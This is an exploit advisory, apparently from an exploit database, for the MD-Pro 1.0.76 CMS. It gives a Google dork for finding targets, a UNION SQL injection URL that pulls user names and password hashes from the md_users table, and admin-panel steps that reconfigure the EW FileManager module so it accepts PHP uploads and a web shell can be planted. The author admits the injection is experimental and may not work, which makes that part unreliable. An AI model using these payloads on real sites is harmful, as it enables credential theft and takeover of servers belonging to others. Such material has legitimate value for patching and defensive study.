MD-Pro 1.0.76 Shell Upload / SQL Injection

`# Exploit Title: MD-Pro 1.0.76. ( SQL injection + shell upload )  
# Google Dork: intext: Powered by MD-Pro  
# Date: 2024-08-30  
# Exploit Author: Emiliano Febbi  
# Vendor Homepage: https://www.opensourcecms.com/wp-content/uploads/MDPro-website-description.png  
# Software Link: https://www.opensourcecms.com/mdpro/  
# Version: 1.0.76.  
# Tested on: Windows 10  
  
  
::: ::: ::::::::: ::::::::: ::::::::: ::::::::   
:+:+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+:   
+:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+   
+#+ +:+ +#+ +#+ +:+ +#++:++#++:++ +#++:++#+ +#++:++#: +#+ +:+   
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+   
#+# #+# #+# #+# #+# #+# #+# #+# #+#   
### ### ######### ### ### ### ######## #2024  
  
  
  
[code] Proof of concept for MD-Pro 1.0.76. ( SQLi + shell upload )  
-------------------------------------------------------------Part 1-------------------------------------------------------------------------------  
The SQLi that I will introduce is an experimental stuff that I am not even 100% sure!  
  
############################################################################################################################################################  
#modules.php?op=modload&name=News&file=article&sid=-1 union all select 1,pn_name,3,4,5,6,7,pn_pass,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM md_users--#  
############################################################################################################################################################  
  
  
-------------------------------------------------------------Part 2--------------------------------------------------------------------------------  
Vulnerability present in the MD-Pro module ' EW FileManager ' inside the admin panel.  
The extensive query is: ' index.php?module=ew_filemanager&type=admin ' of the module, now you have to make changes:  
  
1# Go to this address * index.php?module=ew_filemanager&type=admin&func=modifyconfig * and change these fields in this way:  
in default's directory of users files insert ' ./ ' or ' ../ '  
  
2# Add this string in both to the modifiable extensions and to those of images ' htm,html,txt,php ' AND ' jpg,jpeg,png,bmp,gif,php ' (save all).  
  
3# Now go to File Manager (now is activated) and you can upload the shell from the basic upload form.  
  
[/code]  
  
`